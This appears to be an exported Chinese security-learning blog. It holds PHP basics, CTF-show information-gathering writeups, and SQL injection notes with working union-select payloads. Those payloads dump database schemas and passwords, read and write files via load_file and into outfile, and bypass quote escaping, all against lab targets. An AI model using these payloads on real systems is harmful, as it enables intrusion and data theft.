string">"mysql<br>"</span><span class="token punctuation">,</span><span class="token string">"sql server"</span><span class="token punctuation">;</span><span class="token delimiter">?></span></code></pre><img src="https://gitee.com/mie1732/emc/raw/master/img/202203121435564.png" alt="字符串" style="zoom:67%;" /><p>(2)变量</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span><span class="token variable">$txt1</span><span class="token operator">=</span><span class="token string">"learn php"</span><span class="token punctuation">;</span><span class="token variable">$txt2</span><span class="token operator">=</span><span class="token string">"RUNOOB.COM"</span><span class="token punctuation">;</span><span class="token variable">$car</span><span class="token operator">=</span><span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string">"Volvo"</span><span class="token punctuation">,</span><span class="token string">"BMW"</span><span class="token punctuation">,</span><span class="token string">"Toyota"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token variable">$txt1</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token string">"<br>"</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token string">"在 $txt2 学习 PHP"</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token string">"<br>"</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token string">"车品牌为&#123;$car[0]&#125;"</span><span class="token punctuation">;</span><span class="token delimiter">?></span></code></pre><img src="https://gitee.com/mie1732/emc/raw/master/img/202203121440055.png" alt="变量" style="zoom:80%;" /><p>3、print:可包含HTML标签</p><p>(1)语言结构,使用时可以不加括号</p><p>(2)字符串</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span><span class="token keyword">print</span> <span class="token string">"<h2>php 很有趣!</h2>"</span><span class="token punctuation">;</span><span class="token delimiter">?></span></code></pre><p>(3)变量</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span><span class="token variable">$txt1</span><span class="token operator">=</span><span class="token string">"学习 PHP"</span><span class="token punctuation">;</span><span class="token variable">$txt2</span><span class="token operator">=</span><span class="token string">"RUNOOB.COM"</span><span class="token punctuation">;</span><span class="token variable">$cars</span><span class="token operator">=</span><span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string">"Volvo"</span><span class="token punctuation">,</span><span class="token string">"BMW"</span><span class="token punctuation">,</span><span class="token string">"Toyota"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">print</span> <span class="token variable">$txt1</span><span class="token punctuation">;</span><span class="token keyword">print</span> <span class="token string">"<br>"</span><span class="token punctuation">;</span><span class="token keyword">print</span> <span class="token string">"在 $txt2 学习 PHP "</span><span class="token punctuation">;</span><span class="token keyword">print</span> <span class="token string">"<br>"</span><span class="token punctuation">;</span><span class="token keyword">print</span> <span class="token string">"我车的品牌是 &#123;$cars[0]&#125;"</span><span class="token punctuation">;</span><span class="token delimiter">?></span></code></pre><p>4、PHP EOF(heredoc):定界符 </p><p>(1)按照原样,包括换行格式什么的,输出在其内部的东西。定界符内的所有特殊字符都不需要转义</p><p>(2)以 <<<EOF开始标记开始,以 EOF 结束标记结束,结束标记必须顶头写,不能有缩进和空格,且在结束标记末尾要有分号</p><p>(3)开始标记和结束标记相同,比如常用大写的 <strong>EOT、EOD、EOF</strong> 来表示,但是不只限于那几个(也可以用:JSON、HTML等),只要保证开始标记和结束标记不在正文中出现即可。</p><p>(4)位于开始标记和结束标记之间的变量可以被正常解析,但是函数则不可以。在 heredoc 中,变量不需要用连接符 **.**或 <strong>,</strong> 来拼接</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span><span class="token variable">$name</span><span class="token operator">=</span><span class="token string">"runoob"</span><span class="token punctuation">;</span><span class="token variable">$a</span><span class="token operator">=</span> <span class="token operator"><</span><span class="token operator"><</span><span class="token operator"><</span><span class="token constant">EOF</span> <span class="token string">"abc"</span><span class="token variable">$name</span> <span class="token string">"123"</span><span class="token constant">EOF</span><span class="token punctuation">;</span><span class="token comment" spellcheck="true">// 结束需要独立一行且前后不能空格</span><span class="token keyword">echo</span> <span class="token variable">$a</span><span class="token punctuation">;</span><span class="token comment" spellcheck="true">//结果:"abc"runoob "123"</span><span class="token delimiter">?></span></code></pre><h3 id="PHP数据类型"><a href="#PHP数据类型" class="headerlink" title="PHP数据类型"></a>PHP数据类型</h3><p>1、字符串</p><p>单引号或双引号</p><p>2、整型</p><p>(1)十六进制:0x;八进制:0</p><p>(2)<code>var_dump()</code></p><p>显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。</p><p>3、浮点数</p><p>4、布尔型</p><p>5、PHP数组</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span><span class="token variable">$cars</span><span class="token operator">=</span><span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string">"Volvo"</span><span class="token punctuation">,</span><span class="token string">"BMW"</span><span class="token punctuation">,</span><span class="token string">"Toyota"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">var_dump</span><span class="token punctuation">(</span><span class="token variable">$cars</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter">?></span> </code></pre><p>结果:</p><p><code>array(3) { [0] => string(5) "Volvo" [1] => string(3) "BMW" [2] => string(6) "Toyota" }</code></p><p>6、PHP对象:必须声明</p><p>(1)使用class关键字声明类对象。类是可以包含属性和方法的结构。</p><p>(2)关键字this就是指向当前对象实例的指针,不指向任何其他对象或类。</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span><span class="token keyword">class</span> <span class="token class-name">Car</span><span class="token operator">&</span><span class="token shell-comment comment">#123;</span> <span class="token keyword">var</span> <span class="token variable">$color</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">_construct</span><span class="token punctuation">(</span><span class="token variable">$color</span><span class="token operator">=</span><span class="token string">"green"</span><span class="token punctuation">)</span><span class="token operator">&</span><span class="token shell-comment comment">#123;</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">color</span><span class="token operator">=</span><span class="token variable">$color</span><span class="token punctuation">;</span> <span class="token operator">&</span><span class="token shell-comment comment">#125;</span> <span class="token keyword">function</span> <span class="token function">what_color</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">&</span><span class="token shell-comment comment">#123;</span> <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">color</span><span class="token punctuation">;</span> <span class="token operator">&</span><span class="token shell-comment comment">#125;</span><span class="token operator">&</span><span class="token shell-comment comment">#125;</span><span class="token delimiter">?></span></code></pre><p>7、NULL值</p><p>(1)NULL 值指明一个变量是否为空值。 同样可用于数据空值和NULL值的区别。</p><p>(2)通过设置变量值为 NULL 来清空变量数据:</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span><span class="token variable">$x</span><span class="token operator">=</span><span class="token string">"Hello world!"</span><span class="token punctuation">;</span><span class="token variable">$x</span><span class="token operator">=</span><span class="token keyword">null</span><span class="token punctuation">;</span><span class="token function">var_dump</span><span class="token punctuation">(</span><span class="token variable">$x</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter">?></span></code></pre>]]></content>
<categories>
<category> PHP </category>
</categories>
<tags>
<tag> PHP </tag>
</tags>
</entry>
<entry>
<title>web-SQL注入(2)</title>
<link href="/2022/03/02/web-SQL%E6%B3%A8%E5%85%A5%EF%BC%882%EF%BC%89/"/>
<url>/2022/03/02/web-SQL%E6%B3%A8%E5%85%A5%EF%BC%882%EF%BC%89/</url>
<content type="html"><![CDATA[<p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203021841289.png" alt="高权限注入"></p><h3 id="1、权限问题"><a href="#1、权限问题" class="headerlink" title="1、权限问题"></a>1、权限问题</h3><p>(1)在对数据库进行爆库前,先进行信息收集。</p><p><code>user()</code>是判断你注入数据库时的权限,如果返回的是<code>root@localhost</code>最高权限</p><p>对于一些网站会将数据库设置权限。对于数据库A它只管理网站A,就算爆破了,此账号只对网页A起作用,不会影响到B网站,因为账号权限不同。但如果是root账号进行爆库,就可以跨库爆破。</p><p>(2)mysql数据库的访问:<code>mysql -uroot -p</code></p><p>(3)<code>information_schema.schemata</code>存储各个数据库的名字<code>schema_name</code></p><h3 id="2、sqli-lab实例"><a href="#2、sqli-lab实例" class="headerlink" title="2、sqli-lab实例"></a>2、sqli-lab实例</h3><p>(1)获取此网页所有数据库的名字</p><p><code>union select 1,group_concat(schema_name),3 from information_schema.schemata</code></p><p><img src="C:\Users\HUAWEI\AppData\Roaming\Typora\typora-user-images\image-20220313194506151.png" alt="数据库名字"></p><p>(2)获取指定security数据库名下的表名信息</p><p><code> union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'</code></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203131951836.png" alt="security数据库下的表名信息"></p><p>(3)获取指定security数据库下的表名users下的列名信息</p><p><code>union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'</code></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203131958871.png" alt="列名信息"></p><p>(4)获取列名下面的数据</p><p><code>union select 1,password,3 from security.users</code></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203132002889.png" alt="列名下面的数据"></p><h3 id="3、文件读写"><a href="#3、文件读写" class="headerlink" title="3、文件读写"></a>3、文件读写</h3><p>(1)常用函数</p><p><code>load_file()</code>读取函数</p><p><code>into outfile</code>或<code>into dumpfile</code>写入函数 </p><p>(2)实例</p><p><code>select load_file('c:/xxxxx')</code> <code>\</code>一般会认为转义字符</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203132010250.png" alt="文件读取"></p><p><code>select 'x' into outfile '1.txt'</code></p><p>若文件已存在不能用此函数进行文件写入</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203132012806.png" alt="文件写入"></p><p>(3)获取路径常见方法</p><p>常见<code>load_file()</code>读取敏感信息</p><p>报错显示</p><p>遗留文件:<code>phpinfo.php SCRIRT_FILENAME</code></p><p>漏洞报错</p><p>平台配置文件(根据环境决定)</p><p>爆破:<code>windows: d:/wwwroot/域名/ Linux: /var/www/域名</code></p><p>(4)魔术引号</p><p><code>magic_quotes_gpc</code>对双引号,反斜杠,NULL,单引号会被转义(加上反斜杠)。</p><p>绕过:编码(十六进制)或宽字节绕过</p><p><code>addslashes()</code>PHP内置转义函数:对双引号,反斜杠,NULL,单引号转义</p><h3 id="3、注入防护"><a href="#3、注入防护" class="headerlink" title="3、注入防护"></a>3、注入防护</h3><p>(1)自带防御:魔术引号</p><p>(2)内置函数:<code>int</code>或<code>addslashes()</code>等</p><p><code>if (is_int($id))</code>数字无法注入</p><p>(3)自定义关键字:<code>select</code>对关键字进行过滤(有时可以试试大小写)</p><p>(4)waf防护软件:安全狗,宝塔等</p>]]></content>
<categories>
<category> 小迪渗透 </category>
</categories>
<tags>
<tag> SQL注入 </tag>
</tags>
</entry>
<entry>
<title>CTF-show-信息收集</title>
<link href="/2022/03/01/CTF-show-%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/"/>
<url>/2022/03/01/CTF-show-%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/</url>
<content type="html"><![CDATA[<p>From:</p><p><a href="https://blog.csdn.net/i_kei/article/details/109605874">https://blog.csdn.net/i_kei/article/details/109605874</a></p><p><a href="https://blog.csdn.net/weixin_52805837/article/details/111827205">https://blog.csdn.net/weixin_52805837/article/details/111827205</a></p><h3 id="1、web1"><a href="#1、web1" class="headerlink" title="1、web1"></a>1、web1</h3><p>打开网页源码即可得到flag</p><h3 id="2、web2"><a href="#2、web2" class="headerlink" title="2、web2"></a>2、web2</h3><p>打开链接,右键无法点击,使用<code>Ctrl+U</code>可以查看源码或者使用火狐的开发者工具或在url前面加上view-source,即可得到flag</p><h3 id="3、web3"><a href="#3、web3" class="headerlink" title="3、web3"></a>3、web3</h3><p>抓包即可获得flag</p><h3 id="4、web4"><a href="#4、web4" class="headerlink" title="4、web4"></a>4、web4</h3><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203010122797.png" alt="robots.txt"></p><h3 id="5、web5"><a href="#5、web5" class="headerlink" title="5、web5"></a>5、web5</h3><p>题目提示phps源码泄露,于是访问<code>index.phps</code>,下载弹出的文件即可</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203010122727.png" alt="index.php" style="zoom:67%;" /><h3 id="6、web6"><a href="#6、web6" class="headerlink" title="6、web6"></a>6、web6</h3><p>提示解压源码到当前目录,于是访问<code>www.zip</code>,得到压缩包打开得:</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203182203546.png" style="zoom: 50%;" /><p>访问fl000g.txt即可</p><h3 id="7、web7"><a href="#7、web7" class="headerlink" title="7、web7"></a>7、web7</h3><p>git源码泄露</p><p>访问<code>.git/index.php</code></p><h3 id="8、web8"><a href="#8、web8" class="headerlink" title="8、web8"></a>8、web8</h3><p>svn泄露</p><p>访问<code>.svn</code></p><h3 id="9、web9"><a href="#9、web9" class="headerlink" title="9、web9"></a>9、web9</h3><p>vim缓存信息泄露</p><p>访问<code>index.php.swp</code></p><h3 id="10、web10"><a href="#10、web10" class="headerlink" title="10、web10"></a>10、web10</h3><p>提示cookie,用HackBar直接查看即可</p><h3 id="11、web11"><a href="#11、web11" class="headerlink" title="11、web11"></a>11、web11</h3><p>提示ctfshow.com域名隐藏信息</p><p>域名解析查询:<a href="http://dbcha.com/%E6%9F%A5%E7%9C%8Btxt%E5%8D%B3%E5%8F%AF">http://dbcha.com/查看txt即可</a></p><h3 id="12、web12"><a href="#12、web12" class="headerlink" title="12、web12"></a>12、web12</h3><p>先在网页底端获得一串数字</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203182240631.png"></p><p>访问robots.txt得到后台目录</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203182240069.png"></p><p>访问此路径登录,密码即为上面的一串数字</p><h3 id="13、web13"><a href="#13、web13" class="headerlink" title="13、web13"></a>13、web13</h3><p>文档敏感信息</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203182246724.png" alt="网页底端" style="zoom: 50%;" /><p>打开文档可得</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203182247234.png" style="zoom:67%;" /><h3 id="14、web14"><a href="#14、web14" class="headerlink" title="14、web14"></a>14、web14</h3><p>由题目提示访问<code>/editor</code></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203182253474.png" alt="/editor" style="zoom:50%;" /><img src="https://gitee.com/mie1732/emc/raw/master/img/202203182256501.png" alt="查看网络图片" style="zoom: 67%;" /><p>访问<code>nothinghere/fl000g.txt</code>即可</p><h3 id="15、web15"><a href="#15、web15" class="headerlink" title="15、web15"></a>15、web15</h3><p>提示邮箱,在网页底端发现邮箱</p><p>访问<code>/admin</code></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203182302409.png" alt="后台登录系统" style="zoom: 33%;" /><p>忘记密码</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203182303524.png" alt="忘记密码" style="zoom: 33%;" /><p>搜索QQ得到地址</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203182305670.png" alt="西安" style="zoom: 50%;" /><img src="https://gitee.com/mie1732/emc/raw/master/img/202203182305212.png" alt="密码" style="zoom: 80%;" /><h3 id="16、web16"><a href="#16、web16" class="headerlink" title="16、web16"></a>16、web16</h3><p>PHP探针是用来探测空间、服务器运行状况和PHP信息用的。</p><p>探针可以实时查看服务器硬盘资源、内存占用、网卡 流量、系统负载、服务器时间等信息。</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203182313121.png" style="zoom:50%;" /><p>URL后缀名添加<code>/tz.php</code> 版本是雅黑PHP探针</p><p>查看phpinfo即可</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203182313476.png" style="zoom:67%;" /><h3 id="17、web17"><a href="#17、web17" class="headerlink" title="17、web17"></a>17、web17</h3><p>提示:备份的SQL文件</p><p><code>*.sql</code>文件是mysql数据库导出的备份文件</p><p><code>BACKUP DATABASE</code>语句创建完整数据库备份</p><p>于是访问<code>backup.sql</code>即可获得flag</p><h3 id="18、web18"><a href="#18、web18" class="headerlink" title="18、web18"></a>18、web18</h3><p>打开网页源码,查看js文件</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203182316857.png" alt="网页源码" style="zoom: 50%;" /><p>分析js文件和提示,当分数大于100可获得flag,解码此串unicode编码即可</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203182318489.png" alt="js文件"></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203182322904.png" alt="Unicode解码" style="zoom: 33%;" /><h3 id="19、web19"><a href="#19、web19" class="headerlink" title="19、web19"></a>19、web19</h3><p>查看网页源码</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203182330616.png" alt="注释" style="zoom:67%;" /><p>在注释中可以看到用户和密码,于是用hackbar进行post传参即可</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203182331116.png" alt="post传参" style="zoom:67%;" /><h3 id="20、web20"><a href="#20、web20" class="headerlink" title="20、web20"></a>20、web20</h3><p>访问<code>/db/db.mdb</code></p><p>在下载的文件中搜索flag即可</p>]]></content>
<categories>
<category> CTF-show </category>
</categories>
<tags>
<tag> 信息收集 </tag>
</tags>
</entry>
<entry>
<title>web:SQL注入(1)</title>
<link href="/2022/03/01/web-SQL%E6%B3%A8%E5%85%A5%EF%BC%881%EF%BC%89/"/>
<url>/2022/03/01/web-SQL%E6%B3%A8%E5%85%A5%EF%BC%881%EF%BC%89/</url>
<content type="html"><![CDATA[<h3 id="WEB漏洞框架"><a href="#WEB漏洞框架" class="headerlink" title="WEB漏洞框架"></a>WEB漏洞框架</h3><img src="https://gitee.com/mie1732/emc/raw/master/img/202202232031664.png" alt="web漏洞" style="zoom:80%;" /><h3 id="SQL注入框架"><a href="#SQL注入框架" class="headerlink" title="SQL注入框架"></a>SQL注入框架</h3><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203010041113.png" alt="SQL注入"></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203010041222.png" alt="MYSQL注入"></p><h3 id="1、SQL注入危害"><a href="#1、SQL注入危害" class="headerlink" title="1、SQL注入危害"></a>1、SQL注入危害</h3><p>(1)数据库安全</p><p>(2)网站权限</p><h3 id="2、注入产生原理"><a href="#2、注入产生原理" class="headerlink" title="2、注入产生原理"></a>2、注入产生原理</h3><p>(1)可控变量:$id</p><p>(2)带入数据库查询</p><p>(3)变量未存在过滤或者过滤不严谨</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202262048088.png" alt="网页源码" style="zoom:67%;" /><p>**mysqli_fetch_array()**:</p><p>函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有。该函数返回的字段名是区分大小写的。</p><p>eg:</p><p>都可能存在SQL注入</p><p>xxxxx/index.php?id=8</p><p>xxxxx/(index.php)?id=10 省略</p><p>xxxxx/?id=10&x=1 有两个变量,哪个可控注入哪个</p><p>xxxxx/index.php POST传参?</p><p>x有注入,哪个注入测试正确?第二个、第三个</p><p>注意注入哪个参数的问题,工具测试时也应该注意注入点</p><p>sqlmap:xxxxx/main.php?id=2*****&page=3 </p><p>*****:代表注入参数 或交换参数位置</p><p>&:连接参数名 x为参数注入的话and应该写到x处</p><p>xxxxx/index.php?y=1 and 1=1&x=2 and写到y处,但y不会影响注入</p><p>xxxxx/index.php?y=1&x=2 and 1=1</p><p>xxxxx/index.php?y=1 and 1=1&x=2 and 1=1</p><p>xxxxx/index.php?xx=1 and 1=1&xxx=2 and 1=1 参数名不正确</p><h3 id="3、信息收集"><a href="#3、信息收集" class="headerlink" title="3、信息收集"></a>3、信息收集</h3><p>(1)操作系统版本:Linux、Windows的root的不同,大小写问题等</p><p>(2)数据库名</p><p>(3)数据库用户</p><p>(4)数据库版本</p><p>(5)其他(网页路径等):网站源码在计算机的存储地址</p><p>注:</p><p>1、<strong>高版本:</strong></p><p>在mysql5.0版本以上,mysql存在一个自带数据库名为<strong>information_schema</strong>,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下的表名或列名信息。</p><p>2、数据库中符号“**.**”,表示下一级,如xiao.user,user表示xiao数据库下的user表名。</p><p>information_schema.tables:记录所有表名信息的表</p><p>information_schema.columns:记录所有列名信息的表</p><p>information_schema.schematas:记录所有数据库信息的表</p><p>table_name:表名</p><p>column_name:列名</p><p>table_schema:数据库名</p><h3 id="4、数据注入(同数据库)"><a href="#4、数据注入(同数据库)" class="headerlink" title="4、数据注入(同数据库)"></a>4、数据注入(同数据库)</h3><p>常规查询</p><p>(1)低版本:暴力查询或结合读取查询</p><p>(2)高版本:information_schema有据查询</p><p>(3)MYSQL数据库</p><p>数据库A=网站A</p><p><strong>表名->列名->数据</strong></p><p>show databases:显示所有数据库(每个数据库可以对应一个网站)</p><p>use mysql:选择mysql数据库</p><p>show tables:显示mysql数据库的所有表</p><p><code>select * from server_cost</code>:查看server_cost表里的所有内容,*:查询所有得到的表里有列名和数据</p><p><code>select password from fn_member</code>:从这个表里查询password的值</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203010043407.png"></p><h3 id="5、墨者SQL注入靶机"><a href="#5、墨者SQL注入靶机" class="headerlink" title="5、墨者SQL注入靶机"></a>5、墨者SQL注入靶机</h3><p>(1)mysql数据库的手工注入</p><p>打开题目,点击它的文件,可以看到URL上存在<code>?id=1</code>,初步怀疑可以SQL注入</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203010048158.png"></p><p>(2)如何判断注入点?</p><p>逻辑运算符:或(or,有真则真)、且(and,全真为真)、非(xor)</p><p>第一种:</p><p>and 1=1 页面正常</p><p>and 1=2 页面错误</p><p>第二种:</p><p>判断本质:对变量进行操作,SQL语句是否被执行,对网页是否有影响。</p><p>对这个列题的id值进行随机输入,发现页面返回空白,即存在SQL注入(改变变量会对网页造成影响)</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203010056793.png"></p><p>?:一些网站在对变量修改后会直接404错误,跳转</p><p>对注入有检测,一般不存在注入漏洞</p><p>(3)联合注入:<strong>union</strong>(将多个查询语句一起返回)</p><ul><li>猜解列名数量(字段数):<code>order by x</code> :错误与正常的连接点</li></ul><img src="https://gitee.com/mie1732/emc/raw/master/img/202202282215475.png" alt="order by 1" style="zoom:67%;" /><p>此题测试到order by 5时页面回显不正常,说明5为临界值</p><ul><li>报错猜解准备:</li></ul><p>order by先查询有几列数据,再union看几列数据可以显示出来,将能显示的替换替换成注入语句。</p><p>此题2,3可以显示出来,即可以进行替换注入。</p><p><code>219.153.49.228:47262/new_list.php?id=1 union select 1,2,3,4</code></p><p><code>219.153.49.228:47262/new_list.php?id=-1 union select 1,2,3,4</code></p><p><code>219.153.49.228:47262/new_list.php?id=1 and 1=2 union select 1,2,3,4</code></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202282246733.png" alt="报错" style="zoom:67%;" /><ul><li>信息收集:</li></ul><p>**数据库版本:version( )**:5.7.22-0ubuntu0.16.04.1</p><p>**数据库名字:database( )**:mozhe_Discuz_StormGroup</p><p>**数据库用户:user( )**:root@localhost</p><p><strong>操作系统:@@version_compile_os</strong>:Linux</p><p><code>?id=-1 union select 1,database(),version(),4</code></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202282252697.png" alt="数据库名字,版本" style="zoom:67%;" /><p><code>?id=-1 union select 1,user(),@@version_compile_os,4</code></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202282255698.png" alt="操作系统,数据库用户" style="zoom:67%;" /><ul><li>查询</li></ul><p>因为数据库版本为 5.7.22-0ubuntu0.16.04.1(高版本)可用information_schema数据库查询</p><p>查询information_schema.tables数据库下的表名信息:得到的是一个数据库的名字</p><p><code>?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'</code></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203010113324.png" alt="image-20220228231803141"></p><p>2处是查询表名,3处未查询直接回显</p><p>从 information_schema.tables表中查询:数据库mozhe_Discuz_StormGroup中的表名信息</p><p>查询mozhe_Discuz_StormGroup数据库下的所有表名信息:</p><p><code>id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'</code></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202282327935.png" style="zoom:67%;" /><p>得到mozhe_Discuz_StormGroup数据库下有两个表名</p><p>查询指定表名StormGroup_member下的所有列名信息:</p><p><code>id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'</code></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202282334046.png" alt="四个列名" style="zoom:67%;" /><p>查询指定列名下的所有数据:</p><p><code>id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member</code></p><p>使用<code>group_concat( )</code>防止漏数据</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202282356749.png" style="zoom:67%;" /><ul><li>limit:猜解多个数据:<code>limit x,1</code> 变动猜解</li></ul>]]></content>
<categories>
<category> 小迪渗透 </category>
</categories>
<tags>
<tag> SQL注入 </tag>
</tags>
</entry>
<entry>
<title>渗透:架构、搭建、WAF</title>
<link href="/2022/02/19/%E6%B8%97%E9%80%8F%EF%BC%9A%E6%9E%B6%E6%9E%84%E3%80%81%E6%90%AD%E5%BB%BA%E3%80%81WAF/"/>
<url>/2022/02/19/%E6%B8%97%E9%80%8F%EF%BC%9A%E6%9E%B6%E6%9E%84%E3%80%81%E6%90%AD%E5%BB%BA%E3%80%81WAF/</url>
<content type="html"><![CDATA[<p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202221048561.png" alt="web"></p><h3 id="站点搭建"><a href="#站点搭建" class="headerlink" title="站点搭建"></a>站点搭建</h3><p><strong>1、目录型站点</strong></p><p>对于主站xxxxx,若xxxxx/xxx(只加了一个/xxx目录)是一个新的网站,相当于是两套源码程序。(有多少个/xx则相当于有多少个的新的源码)则如果将其中的一个网页处理,主站也会受到影响。</p><p><strong>2、端口类站点</strong></p><p>对于网站xxxxx,若加端口后xxxxx:8080是一套新的源码网站,则处理其中一个网站,此xxxxx网站都会出现安全问题。</p><p><strong>3、子域名站点</strong></p><p><a href="http://www.xxxxx/">www.xxxxx</a> bbs.xxxxx web.xxxxx</p><p>同服务器</p><p>不同服务器:同网段、不同网段(找分站等)</p><p><strong>4、类似域名站点</strong></p><p>有时网站经常会换域名,或者一个网站有多个域名。</p><p>修改域名后缀(cn/com/net)、<a href="http://www.xxxxx.com/">www.xxxxx.com</a> 对xxxxx进行组合修改(加数字或者网页名字缩写等)</p><p><strong>5、旁注、C段站点</strong></p><p>旁注:同服务器、不同站点</p><p>192.168.1.100 :<a href="http://www.a.com/">www.a.com</a> <a href="http://www.b.com/">www.b.com</a></p><p>C段:不同服务器、不同站点、同网段(独立站点服务器)</p><p>192.168.1.100 :<a href="http://www.a.com/">www.a.com</a> <a href="http://www.b.com/">www.b.com</a></p><p>192.168.1.101 :<a href="http://www.c.com/">www.c.com</a> <a href="http://www.d.com/">www.d.com</a></p><p><strong>6、搭建软件特征站点</strong></p><p>Lnmap、宝塔、phpstudy等,一般会有server回显</p><h3 id="WAF"><a href="#WAF" class="headerlink" title="WAF"></a>WAF</h3><p><strong>1、WAF</strong></p><p>Web应用防护系统(Web Application Firewall, WAF)用以解决诸如防火墙一类传统设备束手无策的Web应用安全问题。与传统防火墙不同,WAF工作在应用层,因此对Web应用防护具有先天的技术优势。基于对Web应用业务和逻辑的深刻理解,WAF对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,从而对各类网站站点进行有效防护。</p><p><strong>2、WAF的识别</strong></p><p><strong>工具:wafw00f</strong></p><p>下载网址:<a href="https://github.com/EnableSecurity/wafw00f#how-do-i-install-it">https://github.com/EnableSecurity/wafw00f#how-do-i-install-it</a></p><p><strong>python main.py</strong> xxxx</p><img src="C:\Users\HUAWEI\Desktop\waf.png" alt="wafw00f" style="zoom: 80%;" />]]></content>
<categories>
<category> 小迪渗透 </category>
</categories>
<tags>
<tag> 渗透学习 </tag>
</tags>
</entry>
<entry>
<title>渗透:CDN绕过</title>
<link href="/2022/02/08/%E6%B8%97%E9%80%8F%EF%BC%9ACDN%E7%BB%95%E8%BF%87/"/>
<url>/2022/02/08/%E6%B8%97%E9%80%8F%EF%BC%9ACDN%E7%BB%95%E8%BF%87/</url>
<content type="html"><![CDATA[<h3 id="CDN概述"><a href="#CDN概述" class="headerlink" title="CDN概述"></a>CDN概述</h3><p>CDN 的全称是 Content Delivery Network,即内容分发网络。CDN 是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器, 通过中心平台的负载均衡、内容分发、调度等功能模块,<strong>使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。</strong>但在安全测试过程中,若目标存在 CDN 服务,将会影响到后续的安全测试过程。</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202202082059593.png" alt="CDN" style="zoom: 50%;" /><h3 id="CND的判断"><a href="#CND的判断" class="headerlink" title="CND的判断"></a>CND的判断</h3><p>超级ping:借助多个服务器对目标网站进行ping检测(利用多节点技术进行请求返回判断)</p><p>若多个服务器对目标网站进行ping后返回的是同一个IP地址则无CDN</p><img src="C:\Users\HUAWEI\AppData\Roaming\Typora\typora-user-images\image-20220209141459942.png" alt="www.youku.com的超级ping" style="zoom: 50%;" /><h3 id="CDN绕过技术"><a href="#CDN绕过技术" class="headerlink" 